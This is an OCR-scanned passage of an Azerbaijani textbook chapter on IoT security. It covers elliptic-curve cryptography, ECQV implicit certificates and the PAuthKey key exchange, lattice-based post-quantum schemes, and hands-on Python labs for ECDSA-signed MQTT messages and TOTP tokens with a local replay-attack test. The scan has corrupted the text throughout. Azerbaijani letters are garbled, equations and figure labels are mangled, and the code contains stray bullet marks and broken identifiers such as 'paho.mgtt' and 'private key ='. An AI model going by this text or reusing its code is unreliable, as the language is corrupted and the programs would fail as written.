liciin etibarli kanal tolob olunur. PKC isa slave tohliikosiz kanal ehtiyact olmadan
autentifikasiyan1 vo acar paylasimimi mimkiin edir. ECC, asag1 enerji sorf edon
cihazlar iiclin uygundur vo RSA ilo eyni tohliikasizlik soviyyasini daha kigik acar
Olciisii 1lo tomin eda bilir.

Elliptik oyri kriptoqgrafiyasit (ECC) miioyyon bir sahado (finite field) isloyon
tonliklor iizorindo qurulmusdur. Biitiin doyisonlor, omsallar vo oyri iizorindoki
noqtolor homin sahoyo aid olur. Bu tonliklor xiisusi bir Abel qrupunda miioyyon
edilir vo qrupun null elementi "sonsuzluq noqtosi" adlanir. ECC-nin osas
omoliyyatlar1 noqto alavo etmo, skalyar vurma vo adodi ¢evirmolori ohato edir.

ECC osason tam adodlor vo ya binar polinomlar iizorindo isloyon saholordo
totbiq edilir. Asag1 glico malik sensor sobokalor tiglin bu metod tam adodlorls isloyan
saholords daha effektiv olur.

ECC-do asas tonlik belo miioyyon edilir:

y?mod p = (x3 + ax + b)mod p (3.8)

Burada p boyiik sado odad, a vo b iso elliptik oyrinin miioyyon edilmasi ii¢lin
secilon parametrlordir.

4.2.1. Elliptik ayri amaliyyatlari1 va tohliikasizlik

Elliptik oyri ndqtolori miioyyon kriteriyalara uygun secilir vo xiisusi bir G
noqtosi generator olaraq toyin edilir. Bu néqtonin boyiik # adadi ilo vurulmasi n * G
= () sortini 6domoalidir. ECC-nin osas riyazi omaliyyati olan skalyar varma Q@ =k * P
qaydasi ilo miioyyon edilir. Burada k& miisboat tam adod, P vo Q iso ayri iizorindo olan
noqtolordir.
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ECC-do osas tohliikesizlik Elliptik 9yri Diskret Logarifm Problemi
(ECDLP) iizorinds qurulmusdur. Yoni, k£ doyarini P vo Q noqtalori malum olduqda
tapmagq riyazi olaraq ¢ox ¢otindir vo praktik olaraq miimkiin deyil. Bu xiisusiyyat
ECC-ni giiclii kriptografik metodlardan biri edir.

Buna baxmayaraq, ECC genis miqyasda standartlagdirilmamisdir. Ciinki, bazi
elliptik oyri funksiyalar1 patentlogdirilmisdir ki, bu da yeni standartlarin
yaradilmasini ¢otinlogdirir. Bundan olavo, zoif tosadiifi odod generatorlar1t ECC
sistemlorino hiicumlara sobob ola biloar. Notico etibarilo, ECC-nin tohliikasiz
istifadosi liclin dogru parametrlorin se¢ilmasi vacibdir.

4.2.2. ECC ilo dogrulama v acar idardetmasi

Agilli cihazlarin siirstlo yayilmasi ilo kimlik dogrulama (authentication) loT
tohliikasizliyi {i¢iin vacib bir faktor halina golib vo zororli hiicumlarin qarsisini
almaqda miihiim rol oynayir. Acar miibadilasi protokollarinda bu proses garsi
taroflarin etibarli olub-olmadigini miisyyanlagdirir. Kimlik dogrulama bir obyektin
Vo ya soxsin miioyyon bir xidmot vo ya mohsulu istifadoyos icazosinin olub-
olmadigini tosdigloyon prosesdir. Bu, icazo vo giris nozarotinin asas sortidir vo bir
qurgunun miioyyan bir sistemo vo ya sobokoyo giris imkani oldo edib-etmodiyini
miioyyan edir.

[oT sistemlorinin ¢oxgesidli cihazlardan ibarot olmasi vo genis yayilmasi
sababindon kimlik dogrulama protokollar1 yalniz hiicumlardan qorunmamali, hom
do yiingiil vo resurs mohdudiyyatli qurgular {i¢iin uygun olmalidir. Bu baximdan,
kimlik dogrulama protokollari simmetrik vo asimmetrik metodlara boliine bilor.
Kimlik Dogrulama Metodlar:

o Gizli acar asash kimlik dogrulama (Simmetrik metod): Burada iki qurgu
ovvolcodon miioyyon edilmis ortaq gizli acarla dogrulama aparir.
o Asimmetrik metodlar: Burada dord forqli yanasma moévcuddur:
1. Statik agar osasli kimlik dogrulama (Public key authentication)
2. Sertifikat osasli kimlik dogrulama (Certificate-based authentication)
3. Kriptografik olaraq yaradilmis identifikatorlar (Cryptographically
generated identifiers)
4. Kimlik asash kimlik dogrulama (Identity-based authentication)

Hor bir halda, cihaz 6z kimliyini siibut etmok {i¢lin soxsi agarina asaslanan molumat
togqdim etmolidir.

« Ilk iki metodda dogrulama miivafiq acar ciitlorinin va ya sertifikatlarin
sahiblik yolu ilo aparilir.

o Ucgiincii metodda iso kimlik dogrulama cihazin agiq acarindan yaradilmis
xiisusi identifikatorlarla hoyata kegirilir.
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o Sonuncu metod is9 aciq acgarin cithazin kimliyindon sldo edildiyi forqli bir
yanasma totbiq edir.

4.2.3. ECC asash gizli sertifikatlar

Rogomsal sertifikatlar tohliikesiz kommunikasiyada identifikasiyanin
qurulmasini tomin edir. ©Onanavi va ya aciq sertifikatlar (masolon, X.509) kimi, gizli
sertifikatlar {i¢ asas hissodon ibaratdir: 1) identifikasiya molumatlari, 2) agiq agar, 3)
rogomsal imza. Ag¢iq acar istifadoginin identifikasiya molumatlarina baglayan vo
lclincli torofin tosdiqini tolob edon aciq sertifikatlardan forqli olaraq, gizli
sertifikatlarda agiq agar vo rogomsal imza eyni elementdo birlosdirilir. Bu yanagma,
alictya imzani ¢ixarmaq va digor torafin acgiq acarini imzadan dogrulamaq imkani
verir. Noticodo, hom sertifikat, hom do dogrulama agarinin &tiiriilmosino ehtiyac
qalmir va sistemin samaraliliyi artir.

Gizli sertifikatlarin an vacib tstiinliiklorindon biri daha kic¢ik 6l¢ii vo daha
siirotli emal imkanidir. Codval 4.1, simmetrik vo asimmetrik sifrolomo tisullar1 iclin
ekvivalent tohliikasizlik soviyyalarinds agar dl¢iilorini miiqayise edir. Elliptik Oyri
Rogomsal Imza Alqoritmi (ECDSA) elliptik oyri qruplarinda isloyan ragomsal imza
metodudur. Elliptik Oyri Qu-Vanstone (ECQV) iso gizli sertifikatlarin bir variantidir
vo daha kigik agar Ol¢iilorino malikdir. Bu sobobdon, ECQV vo ECDSA imzali
sertifikatlar RSA-dan daha kicik 6lgiido olur.

Cadval 4.1. Agiq acar va sertifikat élciilarinin miiqayisasi (ECC vs. RSA)

Tahliikasizlik ECC RSA ECQV | ECDSA RSA
saviyyasi (bit) (bit) (bit) (bit) (bit) sertifikati
(bit)

80 160 1024 193 577 2048

112 224 2048 225 673 4096

128 256 3072 257 769 6144

192 384 7680 385 1153 15360

256 512 15360 | 522 1564 30720

1. Gizli sertifikatlardan istifads edorak autentifikasiya vo acar idarsetmasi

ECC asash gizli sertifikatlar mohdud resurslara malik sensor sobokolords
autentifikasiya vo acar idaroetmasi li¢iin ylingiil vo tohliikesiz metod kimi nozordo
tutulmusdur. Aparilan arasdirmalara asason, iki morholoali autentifikasiya vo agar
miibadilasi protokolu toklif edilmisdir.

« Birinci marhals — Sensor diiytinlor gizli sertifikat1 oldo edir vo bir etibarli
torof (CA) torafindon geydiyyatdan kegir.
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« Ikinci marhalo — Gizli sertifikatlarin osas prinsipleri agar miibadilosi iiiin
totbiq edilir.

[oT sobokolari {iciin genis autentifikasiya vo agar miibadilosi mexanizmlori
ECQV gizli sertifikatlarindan istifado edorok islonmisdir. PAuthKey adlandirilan
sxem bu texnologiyadan istifads edir (Sokil 4.2). Sobakado dord asas rabito novii
nozords tutulur:

e A baglantis1 — Eyni klasterds yerloson iki sensor diiylin arasinda.

e B baglantis1 — Miixtolif klasterlords vo eyni sobokads yerloson iki sensor
diiylin arasinda.

e C baglantis1 — Forqli klasterlorda va forqli sobakalords yerloson iki sensor
diiylin arasinda.

e D baglantis1 — Istifadoci va sensor diiyiin arasinda.

Certificate
Authority
(CA)

Sakil 4.2. Cihaz/istifadaci autentifikasiyasi va acar miibadilasi iiciin sabaka arxitekturasi

Bu yanagma IoT vo sensor sobokolordo autentifikasiya vo tohliikosiz acar
mibadilosini sadslosdirir vo hesablama yiikiinii minimuma endirir.

e Faza 1: Qeydiyyat va sertifikatin alinmasi

Bu morholodo biitiin sensorlar miivafiq klaster rohbarlorindon (CH)
tohliikosizlik molumatlarini alir, hansi ki, yerli sertifikat morkozi (CA) kimi foaliyyot
gostorir. Sertifikatin oldo edilmosi prosesi asagidaki sokilds izah olunur (Sakil 4.3).
Baslangic Requester Hello mesaj1 miiraciot edon cihazin kimliyini vo dostoklonon
sifrlomo tisullarimi ehtiva edir vo offline rejimdo sensorlara qurasdirilir. Masalon,
CERT _ECC_160 WITH_AES 128 SHA1 160-bitlik elliptik oayri, 128-bit AES
vo SHA1 kimi iisullar istifado edir. Sertifikat istoyi ugurla tosdiglondikdon sonra,
CA secilmis sifrlomas iisulunu tosdigloyir vo CA Hello mesaj1 ilo agiq acar otiirorok
handshake prosesini bagladir.
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Certificate Requestor (U) Certificate Authority (CA)

Requestor Hello, Cipher Suite, U ___

Check validity of U

CA Hello, Cipher Suite, CA Public Key

ry eg[1, ...y n=1]

Ry=r,G

Generate Ny

| catcuiate MACK IR, U, N,

Certificate Request
Ry, Ny, MAG[Ry, U . Ny] ————»

Verify MAC

rea €g(1, -, n=1]
Certy=R,+rg,G
e =H(Certy)
S=6rga+dea (mod n)

|Cafcufare MACy [Ceriy, s, NC,.,,]‘

Certificate
la— Certy, s, Nga, MAC[Certyl| s || Ncal

Verify MAC

e =H(Certy)
dy=ery+s(mod n)

Qu=dyG

Finished _

Qy =eCerty+Qpep
_ Finished

-

Sakil 4.3. Qeydiyyat marhalasinin mesaj axini

CA Hello mesajin1 alan cihaz tosadiifi roqom r, yaradir vo EC ndqtasi Ry =
1y * G hesablayir. Bu noqto miizakiro olunan sifrlomo {isullar ilo uygunlasdirilir.
Bundan sonra cihaz sifrolonmis Certificate Request mesajin1 gondorir.

CA MAC doyorini vo Ny ododi yoxlayir vo mesajin biitovlilylinii vo
aktualligini toyin edir. Ugurlu dogrulamadan sonra, CA tosadiifi -4 ododi yaradir,
Certy = Ry + ¢4 * G sertifikatini hesablayir vo gizli acar rekonstruksiyasini
aparir. Certificate mesaj1 sertifikati, s = ergy + dgyq (mod n) doyorini, Ny
tosadiifi adodini vo MAC kodunu ehtiva edir. Burada d., — CA-nin gizli acari, e is9
H(Certy).

Ogor MAC vo N4 doyoarloari diizgiindiirse, U diiyiinii e = H(Certy) doyarini
hesablayir vo 6z soxsi agarint dy; = ery + s (mod n) kimi hesablayaraq a¢iq acarini
Qy = dy * G kimi miioyyon edir.

U diiyliniin Finished mesaj1 ovvolki autentifikasiya mesajlarinin sifrolonmis
tosvirini ehtiva edir vo CA Qp agiq acarindan istifado edorok ovvolki mesajlari
sifroloyir vo autentifikasiya morholosini tamamlayir.

Qy=dy*G =eCerty + Qcy (3.9)
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e Faza 2: Autentifikasiya va acar miidyyanlosdirma

Bu morhols ssenari 1 asasinda izah olunur (Sokil 4.4), burada eyni klaster
daxilinds iki sensor diiyliniin bir-biri ilo tinsiyyati tosvir edilir. Biitlin diiylinlorin

digor diiyiinlorin identifikatorlarindan xobardar oldugu forz edilir.
Certificate Requestor (U) Certificate Authority (CA)

Check validity of U

Requestor Hello, Cipher Suite, U

CA Hello, Cipher Suite, CA Public Key

-

ryegll, .. n-1]
Ry=r,G

Generate Ny

|Cafcurare MAC,[R,, U, Nu]l

Certificate Request
Ry, Ny, MAC [R,), U, N )] —————™

Veerify MAC
reaeg(1y . n=1]
Certy=Ry+ reaG

e = H(Certy)

S=erps+dea (modn)

‘Caa‘cu!afe MAC[Certy, s, Nm]‘

Certificate
+— Cerly, s, Nga, MAC [Certy || s || Nea]
Verify MAC
e=H(Cert)
dy=er,+ s (mod n)
Qu=d,G
Finished _

Qy=eCert, +Q
) Finioned [ u=eceny e

Sakil 4.4. Ssenari 1 iiciin mesaj axini

Ik olaraq, U miistori diiyiinii Client Hello mesajm gondorir vo oz
identifikatorunu V server diiyiiniino toqdim edir. V iso Server Hello mesaji ilo cavab
verir vo dostoklodiyi sifrlomo sxemlori vo klaster rohborinin (CH) identifikatoru
haqqinda molumatlar1 géndorir. Ogor miistori verilon sifrlomo sxemino uygun
tohliikosizlik etimadnamolorino malik deyilso, onlar1 Sertifikat Avtoritetindon (CA)
almalidir. ©ks halda, miistori ol verorok Certy sertifikatin1i gondormoklo prosesi
davam etdirir. Qeydiyyat morhalasinds oldugu kimi, Ny tosadiifi adodi vo MAC
doyorlori mesajin biitdvliiyiinii vo aktualligini qorumagq tigiin istifads edilir.

Miistorinin sertifikatin1 aldigdan sonra, server MAC doyarini yoxlayir vo
sertifikat osasinda miistorinin agiq agarmni hesablayir. e = H(Certy)vo Qy =
eCerty + Qc4 disturuna uygun miisyyon edilir. Daha sonra, V tosadiifi Ny, ododi
yaradir vo onu Certy, MACk|[Certy, Ny, V] ilo birlikdo gondorir. Bu vaxt orzinds, V'
0z soxsi acar1 dy vo U dilyiiniinlin ag1q acar1 Qyosasinda Ky, = dyQy ciit diiylin
acarini hesablayir. U mesaji aldigdan sonra, MAC dayarini yoxlayir vo tosdiglondiyi
halda Qy vo Ky = dyQy hesablayir.
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Nohayot, Finished mesajlarinin miibadilosi handshake prosesini tamamlayir,
bu mesajlar Ky, ciit agari ilo sifrolonir. Alti mesaj otiiriilmosinin sonunda, iki sensor
diiylin bir-birini ugurla autentifikasiyadan kecirir vo golocok molumat miibadilslori
ticlin tohliikasiz linsiyyot kanali yaradir. Eyni yanasma digor hallarda da istifado
oluna bilar, yalmz kigik dayisikliklarla.

4.3. IoT iiciin Lattice asash Kriptografiya

Post-kvant kriptoqrafiyasi, kvant kompiiterlorinin inkisafi ilo daha ¢ox
aktualliq gazanan bir todqigat sahosidir. Kvant kompiiterlori, eyni anda bir ne¢o
miimkiin voziyyatin ustlinliiklorindon istifade edorok miirokkob hesablamalari
hoyata kecira bilon masinlardir. Adi kompiiterlor molumatlar1 xeyli daha uzun
miiddotdo emal edorkon, kvant kompiiterlori bu prosesi daha siirotli hoyata kegiro
bilir. IBM va Google artiq ilk kvant kompiiterinin yaradilmasi ugrunda yarisir va bu
texnologiyanin ictimaiyyoto aciq sokildo istifadoyo verilocoyi gozlonilir. Kvant
kompiiterlorinin asas istiinlilyli, hazirda simulyasiya edilmasi c¢ox c¢otin olan
hesablamalar1 yerina yetiro bilmaloridir. Bu texnologiya, hazirk: tohliikasiz hesab
edilon kriptoqrafik konstruksiyalar1 sindirmagq tli¢iin potensial tohliiks toskil edir. Bu
problemi holl etmok {iiclin asagidaki todqigat istigamotlori kvant hiicumlarina
davamli hesab olunur:

« Has asash kriptoqrafiya — Bu sahonin tipik niimunoasi 1979-cu ilds togdim
edilmis Merkle-nin has-osashi agiq agar sxemidir. Hag-osasli kriptoqrafik
sxemlor miioyyon kriptoqrafik problemloro qarsi effektiv hollor toklif etso do,
osas catismazligl imza Slgiisiiniin boyiik olmasidir.

« Kod asash kriptoqrafiya — McEliece-nin gizli Goppa-kodlu agiq agar
sifrolomo yanagmasi bu sahonin asas niimunslorindondir. Bu metod 1979-cu
ildo togdim edilmis vo sohv diizoldon kodlar asasinda daha tohliikosiz vo
effektiv agar miibadilosi imkan1 yaratmisdir.

« Lattice asash kriptoqrafiya — Post-kvant kriptografiyasinin perspektivli
istigamotlorindon biri do mohz Lattice osasli kriptoqrafiyadir. Bu yanasma
kvant hiicumlarma davamlilig ilo segilir vo asason riyazi miirokkobliys vo
yiiksok paralellosdirilo bilon omaliyyatlara asaslanir.

« Cox dayison kvadratik tonliklors asaslanan kriptoqrafiya — 1980-ci illordo
inkisaf etdirilmis bu yanasma, ¢ox doyison polinomlar asasinda simmetrik
kriptografiyan1 tomsil edir. Bu tip sxemlor osason ¢ox doyison kvadratik
tonliklorin hall edilmasina asaslanir.

. lIzogeniya asash kriptoqrafiya — Bu, post-kvant kriptoqrafiyasindaki on yeni
istigamaotlordon biridir vo supersingular elliptik oyrilor arasindaki izogeniya
qurma ¢otinliyino osaslanir. Bu sistemlor kvant kompiiterlori {i¢lin yeni
miidafio mexanizmlori toklif edo bilar.
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o Gizli acarh kriptoqrafiya — 1998-ci ildo yaradilmis vo bu giin do genis
istifads edilon Rijndael sifrasi (Advanced Encryption Standard — AES), gizli
acarl kriptoqrafiyanin an vacib niimunasi olaraq qalir.

Kvant davamli alqoritmlorin IoT sahasinds tatbiqi hals yeni baslayir.
4.3.1. ToT iiciin Lattice asash kriptoqrafiya

Miiasir dovrde daha ¢ox agilli cihaz, mosalon, mobil telefonlar, televizorlar,
agilli maisat texnikasi vo avtomobillar internets qosulur. Bu cihazlarin oksariyyati,
internet vo cihaz arasinda molumat axinini tomin edon simsiz sensorlarla tochiz
olunub. Masalon, bazi agilli tibbi cihazlar istifadogilorin saglamliq malumatlarini
toplayir vo bu molumatlar1 internets bagl verilonlor bazasina géndorir. Buna goro
do, istifado¢i molumatlarinin tohliikesizliyi vo maxfiliyi [oT sistemlorindo osas
problemlordan biridir. Simmetrik kriptoqrafiya ils yanasi, aciq acar kriptoqrafiyasi
[oT tohliikosizliyinin asas alotlorindon biridir. Birincisi kvant hiicumlarina qars1
gorunmani tomin etso do, aciq agar kriptoqrafiyast bu hiicumlara qars1 zoif sayilir.
Lattice osashi kriptoqrafiya iso golocokdo kvant hiicumlarina qarsi midafio
mexanizmi toqdim edacak perspektivli bir yanasma kimi qiymatlondirilir.

[oT totbiqlori lattice osaslhi kriptografiyani giiclii tohliikasizlik prioritetlori
{iciin perspektivli namizod hesab edir. Galocayin agilli IoT cihazlar1 kvant tohdidlori
il iizlaga bilar vo onlarin tohliikasizlik sistemlorini ananavi kriptoqrafiyadan kvant
tohliikasizliyino uygunlasdirmaq ¢otin ola bilor. Lattice asasli metodlarin hesablama
vo saxlama somaraliliyi bu texnologiyanin yiingiil cihazlara inteqrasiyasin1 daha
asanlasdirir. Movcud R-LWE (Ring Learning With Errors) asasli metodlar artiq 8-
bit mikro-kontrollerlordo ugurla totbiq edilmisdir vo NIST torofindon tosdiglonon
RSA-1024-don daha giiclii tohliikasizlik soviyyasi tomin edir.

Bozi todqiqatcilar atribut osasli vo soxsiyyoti tosdiq edon autentifikasiya
sistemlorinin ~ vacibliyini  vurgulamisdir. [oT kontekstindo atribut osash
autentifikasiya sxemlorinin totbiqi miioyyon edilmis tohliikosizlik standartlarina
uygun bir yanagma hesab olunur. Masolon, elliptik ayri rogomsal imza alqoritminin
(ECDSA) bir varianti olan elliptik ayri Qu-Vanstone (ECQV) imza sxemi daha ki¢ik
acar Olciilori, agag1 hesablama giicii toloblori vo daha siirotli acar generasiyasi ilo
diqgoet cokir. Buna goro do, IoT {iclin lattice osasli atribut vo imza sxemlori
todqiqatcilar liclin maraqli bir sahadir.

R-LWE osasli BLISS adli imza sxemi yiingiil cihazlar tigiin inkisaf etdirilmis
vo Xilinx Spartan-6 FPGA {izorindo 128-bit, 160-bit vo 192-bit tohliikosizlik
saviyyalari ilo ugurla totbiq olunmusdur. Digor BLISS variantlar1 da tohliikosizlik
giiclinii artirmaq {i¢iin alternativ olaraq todqiq olunur.

Homomorfik siftlomo, 10T sistemlorinds sifrolonmis molumatlarin islonmasi
ticlin perspektivli yanasmalardan biridir. Bu metod, verilonlorin desifro edilmodon
bulud serverlorindo emal olunmasina imkan yaradir. Bu yaxinlarda aparilmis
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todqigatlarda bulud miihitindo lattice osasli homomorfik sifrlomonin totbiqi vo
hesablama siiratinin artirilmasi {i¢lin optimallagdirmalar toklif edilmisdir.

Psevdotosadiifi funksiyalar da {oT tohliikesizliyindo miihiim rol oynayur.
Tadqiqat¢ilar program tominatina yonalmis avtomatik tohliikasizlik yenilomolorinin
ohomiyystini vurgulamislar. Mesaj autentifikasiya kodlar1t vo psevdotasadiifi
funksiyalar kvant kompiiterlorinin goalocokdo miimkiin tohliikolorine qars1t miidafio
mogqsadils totbiq olunur.

Lattice asasli sifrlomanin on boyiik problemlarindon biri totbiq somaraliliyidir.
Bu sahads on ciddi saylordon biri R-LWE asasli TLS (Transport Layer Security)
protokolunun post-kvant tohliikesizlik tsloblorine uygunlasdirilmasidir. Lattice
osasli R-LWE agar miibadilosi mexanizmi TLS 1.3 protokolunda ugurla sinagdan
kecirilmis vo yiiksok effektivlik niimayis etdirmisdir.

Tadqiqatcilar Cortex-MO arxitekturasi tigiin NTRUEncrypt adli lattice asash
metodlar1 ugurla totbiq etmis vo bu sxemin [oT cihazlarinda tohliikasiz sokildo
islodiyini tasdiglomislor. Digor R-LWE asasli sifrolomo sxemlori do togdim edilmis
vo NTRUEncrypt ilo ekvivalent oldugu miioyyon edilmisdir. Xiisusilo,
ATxmegal28 mikroprosessoru lizorindo bu sxemlor 46-bit tohliikasizlik soviyyasi
ilo 24.9 ms sifrolomo vo 6.7 ms desifro vaxtlari ilo islodilmisdir.

4.4. Praktiki Hissa va Tapsiriqlar

4.4.1. ECC asash MQTT iizorinda tohliikasiz moalumat otiiriilmasi

Moagqsad

Bu praktiki hissonin mogsadi oxucuya elliptik oayri kriptografiyast (ECC)
osasinda molumatlarin imzalanmasi, imzalanmis molumatlarin Otiiriilmosi vo
imzanin yoxlanmasi prosesini praktiki sokildo niimayis etdirmokdir. Tocriibo miihiti
olaraq Jetson Nano vo ya istonilon Linux omoaliyyat sistemi iizorindo ¢alisan qurgu
istifado oluna bilor.

Talablar:

« Jetson Nano vo ya Raspberry Pi

« Ubuntu omoaliyyat sistemi vo ya uygun Linux miihiti

o Python 3.8 vo ya daha yeni versiya

o Mosquitto MQTT brokeri vo klient proqrami

« Python kitabxanalari: cryptography, paho-mqtt, json, base64

82



Sakil 4.5. Jetson Nano cihazi

v" Addim 1 — Jetson Nano terminalinda miihitin hazirlanmasi

Tocriibboaya  baslamazdan ovval lazim olan proqramlar sistema

quragdirilmalidir. Bunun {i¢iin asagidaki omrlordon istifads olunur:

sudo apt update

sudo apt install python3-pip mosquitto mosquitto-clients -y
pip3 install --upgrade pip setuptools wheel

pip3 install cryptography paho-mgtt

Bu addim tamamlandigdan sonra tolob olunan miihit hazir olur.

v" Addim 2 — ECC acar ciitii yaradihir

[k olaraq, molumatlarin imzalanmas1 vo dogrulanmasi iigiin bir agar ciitii

yaradilir. Buraya bir gizli acar (private key) va bir agiq agar (public key) daxildir
(ecc_key.py).

from cryptography.hazmat.backends import default backend
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization

private key = ec.generate private_key(ec.SECP256R1 (),
default_backend())
public_key = private key.public key ()

with open("private key.pem", "wb") as f:
f.write(private_key.private bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCSS8,
encryption_algorithm=serialization.NoEncryption ()

))
with open("public_key.pem", "wb") as f:
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. f.write(public _key.public bytes(
. encoding=serialization.Encoding.PEM,

format=serialization.PublicFormat.SubjectPublicKeyInfo

))

v Addim 3 — Moslumat imzalamir vo MQTT ila gondorilir

Sensor molumati kimi tosovviir edilon sado bir mesaj (mosslon:
"temperature=28.3") gizli acar ilo imzalanir vo Mosquitto MQTT brokerino
gondorilir (mgqtt_send.py).

e import paho.mgtt.client as mgtt

¢ import json, base64

e from cryptography.hazmat.primitives import hashes,
serialization

e from cryptography.hazmat.primitives.asymmetric import ec

¢ message = b"temperature=28.3"

e with open("private key.pem", "rb") as f:
. private key =
serialization.load pem private key(f.read(), password=None)

e signature = private key.sign(message,
ec.ECDSA (hashes.SHA256()))

¢ client = mgtt.Client()
e client.connect("localhost", 1883, 60)

¢ payload = {
. "data": message.decode(),
D "signature": base64.b64encode (signature) .decode ()

e }

e client.publish("iot/secure/data", json.dumps (payload))
¢ client.disconnect ()

v" Addim 4 — Mslumat gabul edilir vo imza yoxlamlir

Digor torofdo (mosolon, bazaya molumat yazan sistem vo ya idaroetmo
morkozi) mesaj gobul olunur vo goéndoricinin agiq agari ilo imzanin dogrulugu
yoxlanilir (mgqtt_receive.py).

¢ import paho.mgtt.client as mgtt

e import json, base64

¢ from cryptography.hazmat.primitives import hashes,
serialization

e from cryptography.hazmat.primitives.asymmetric import ec
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e with open("public_key.pem", "rb") as f:
. public_key =
serialization.load pem public key(f.read())

¢ def on message(client, userdata, msg):

o try:
D payload = json.loads (msg.payload.decode())
D message = payload['"data"].encode ()
D signature = base64.b64decode (payload["signature"])
. public_key.verify(signature, message,
ec.ECDSA (hashes.SHA256 () ))
. print ("Imza DOGRUDUR:", message.decode ())
) except Exception as e:
. print ("Imza YANLISDIR ve ya Melumat saxtadir:", e)

¢ client = mgtt.Client()

e client.connect("localhost", 1883, 60)
e client.subscribe ("iot/secure/data")

e client.on message = on_message

e print("Gozlsyir... (Ctrl+C)")
e client.loop forever()

Sakil 4.6. Imzanin yoxlanmast morhalasinin ekran goriintiisii
v’ Noatica

Bu praktiki hisso oxucuya ECC ilo imzalama vo imzanin dogrulanmasi,
MQTT protokolu ilo tohlitkkesiz molumat otiirtilmasi lizro praktiki bacariglar
qazandirir. Istifado edilon metodlar IoT cihazlarinda molumatin monbayini
yoxlamaq vo biitovliiylinii qorumaq tiigiin genis istifado olunur.
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v' Tapsiriqlar

Imzalanan molumatlara tarix vo vaxt (timestamp) sahasi olavo edin va onu da imzaya daxil
edin.

Sensor molumatini strukturlasdiraraq JSON daxilindo sensor id vo data saholori slava edin.
Imzalanmis molumat1 dayisdirorok (masalon, temperatur dayerini doyismakla) imzanimn
sohv natica verdiyini test edin.

MQTT brokeri iizorindo TLS/SSL qorunmasini aktivlesdirin va sifrolonmis kanal vasitosilo
molumat géndorin.

Forqli sensorlar {igiin forqli agar ciitlori yaradin vo gobul edon qurgunun onlar ayird edo
bilmasini tomin edin.

4.4.2. Dinamik token asash kimlik dogrulama: Simsiz sensor sobakalorinda

praktik totbiq

Mogqsad

Bu praktiki hissonin mogsodi simmetrik agar vo vaxta osaslanan dinamik

token (Time-based One-Time Token — TOTP) mexanizmini totbiq etmoklo simsiz
sensor sobakasinda sensor node-larin kimlik dogrulamasini hayata ke¢irmakdir. Bu
yanagma real soboka tohliikasizlik modeline uygunlasdirilmisdir.

Talablor:

Jetson Nano vo ya Raspberry Pi

Ubuntu omoliyyat sistemi vo ya uygun Linux miihiti
Python 3.8 vo ya daha yeni versiya

hmac, hashlib, time, paho-mqtt, json, base64 kitabxanalari

v" Addim — TOTP asash token yaradilmasi (sensor node)

Bu morhoslads sensor cihaz har 30 saniyadon bir yeni TOTP token yaradir vo

mesajla birlikdo gondorir. (totp_sender.py).

import hmac, hashlib, time, base64, json
import paho.mgtt.client as mgtt

shared secret = b"my shared key"
interval = 30 # saniyelik intervalla token desyisir

def generate_token (key, timestamp=None):
if not timestamp:
timestamp = int(time.time ())
counter = int(timestamp / interval)
return hmac.new(key, str (counter) .encode(),
hashlib.sha256) .hexdigest ()
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¢ data = "humidity=78"
e token = generate_token(shared secret)

¢ payload = {

o "data": data,
o "token": token,
o "timestamp": int(time.time())

e }

¢ client = mgtt.Client()

e client.connect("localhost", 1883, 60)

e client.publish("iot/auth/data", json.dumps (payload))

e client.disconnect ()

e # REPLAY testi i¢iin: eyni mesaji 35 saniye sonra yenidsn
goéndsr

¢ print("Token tskrar gondsrilscsk (REPLAY testi)")

e time.sleep(35)

e client.connect("localhost", 1883, 60)

e client.publish("iot/auth/data", json.dumps (payload))

e client.disconnect ()

v" Addim — Token-in dogrulanmasi (qobuledici)

Qobuledici cihaz mesajin daxilindoki tokenin dogrulugunu yoxlayir. ©gor
token =£1 interval c¢orgivesindo uygundursa, molumat qgobul olunur
(totp_receiver.py).

e import base64
e import time
¢ import paho.mgtt.client as mgtt

e shared_secret = b"my shared key"
e interval = 30

e used_tokens = {}

e token lifetime = 90

e def verify token(token, timestamp):

o now = int(time.time())

. if abs(now - timestamp) > token_ lifetime:

o print ("Token vaxti keg¢misdir.")

D return False

o for offset in [-1, O, 1]:

o counter = int((timestamp + offset * interval) /
interval)

o expected = hmac.new(shared_secret,
str (counter) .encode () , hashlib.sha256) .hexdigest ()

o if hmac.compare_digest (expected, token):

° return True

D return False
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e def on message(client, userdata, msg):

o try:

o payload = json.loads (msg.payload.decode())

. token = payload["token"]

o timestamp = int(payload["timestamp"])

. data = payload["data"]

[ ]

o now = int(time.time())

[ ]

o if token in used_ tokens:

. print ("Replay hiicumu: Token artiq istifads
olunmusdur.")

. return

[ ]

o expired = [t for t, ts in used tokens.items() if
now - ts > token lifetime]

o for t in expired:

o del used tokens|[t]

[ ]

. if verify token(token, timestamp):

. print ("Dogrulama ugurludur:", data)

. used tokens[token] = timestamp

. else:

. print ("Dogrulama ugursuz: Token uygun deyil.")

o except Exception as e:

D print("Xsta:", e)

client = mgtt.Client()

client.connect("localhost", 1883, 60)

client.subscribe ("iot/auth/data")

client.on_message = on_message

print ("Sensorlardan dogrulama mesajlari goézlsnilir...")
client.loop_ forever ()

v Toahliikasizlik Yoxlamalari
Bu yanasma asagidaki hiicumlara qars1 dayaniqlidir:

« Replay attack (token bir dofslikdir)
o Offline saxtakarliq (token vaxta osasl vo gizli agarla HMAC-Iidir)
« Zoif identifikasiya (sensorlar 6zlorini tokenlo tanidir)
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T 00 asif@asif-desktop: ~/pythol
asif@asif-desktop:~/python_labs$S python3 totp_sender.py
asif@asif-desktop:~/python_labs$ i

8
n artiq istifada olunmusdur.

Sakil 4.7. Qabuledici cihazda replay hiicumu askarlanir
v Notica

Bu praktiki hisso oxucuya vaxta osasli TOTP token mexanizmini simmetrik
acarla totbiq etmoyi, replay hlicumlarina garsi neco qorunmagin miimkiin oldugunu
vo MQTT {izorindon tohliikasiz autentifikasiyanin neco quruldugunu goéstorir.

v' Tapsiriqlar

e sensor id vo timestamp saholorini daxil edin vo tokenlo birlikdo gondorin. Bu saholori
JSON formatinda serverds yoxlayin.

e Replay hiicumunu sinaqdan kegirin: eyni tokeni iki dofo gondorin vo gobuledici torafin
bunu radd etdiyini yoxlayin.

e Tokenin timestamp sahasini 60 saniyodon daha kéhno vo ya golocok bir vaxta toyin edib
sistemin reaksiyasini miisahido edin.

e used tokens siyahisina vaxt limitlori toyin edin vo avtomatik tomizlomo mexanizmini
doyisdirorak alternativ modellor test edin.

e Broker baglantistmm TLS/SSL {izerindon qurun vo mesajlarin sifrolonmis kanalla
